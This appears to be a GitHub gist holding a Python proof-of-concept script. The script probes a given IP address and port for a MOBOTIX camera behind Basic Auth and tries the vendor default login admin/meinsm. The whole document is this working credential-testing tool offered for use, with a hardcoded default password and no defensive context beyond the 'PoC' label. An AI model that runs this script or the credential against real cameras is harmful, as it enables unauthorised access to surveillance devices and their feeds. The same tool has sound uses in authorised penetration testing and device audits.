Skip to content

Instantly share code, notes, and snippets.

@llandeilocymro
Created February 11, 2019 12:49
Show Gist options
  • Save llandeilocymro/430bdd50266e03c75e6116c3e80bf78f to your computer and use it in GitHub Desktop.
Save llandeilocymro/430bdd50266e03c75e6116c3e80bf78f to your computer and use it in GitHub Desktop.
MOBOTIX - Default username PoC
#!/usr/bin/python
import requests, signal, sys, argparse
from requests.auth import HTTPBasicAuth
p = argparse.ArgumentParser("./camera.py -h <ip> -p <port>", version="0.1")
p.add_argument("-ip", "--ipaddress", dest="ipaddress", help="Enter an ipaddress")
p.add_argument("-p", "--port", dest="port", default="8081", help="Enter a port")
args = p.parse_args()
host = args.ipaddress
port = args.port
def signal_handler(signal, frame):
print("\nCtrl+C pressed.. aborting...")
sys.exit()
def main():
try:
d = "http://"+host+":"+port
print "[*] Using: "+d
r = requests.get(d,timeout=5)
if r.status_code == 401 and 'MOBOTIX' in r.headers['WWW-Authenticate']:
print "[*] Looks like Basic Auth and MOBOTIX realm"
try:
print "...trying default creds"
r1 = requests.get(d, auth=HTTPBasicAuth('admin', 'meinsm'))
if r1.status_code == 200:
print "[*] Default credentials found"
else:
print "[*] No joy: "+ str(r1.status_code)
sys.exit()
except requests.ConnectionError, e:
print e
sys.exit()
except requests.ConnectionError, e:
print "[*] No Basic Auth"
sys.exit()
if __name__ == '__main__':
signal.signal(signal.SIGINT, signal_handler)
main()
@llandeilocymro
Copy link
Author

Screen Shot 2019-05-29 at 1 34 09 PM

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment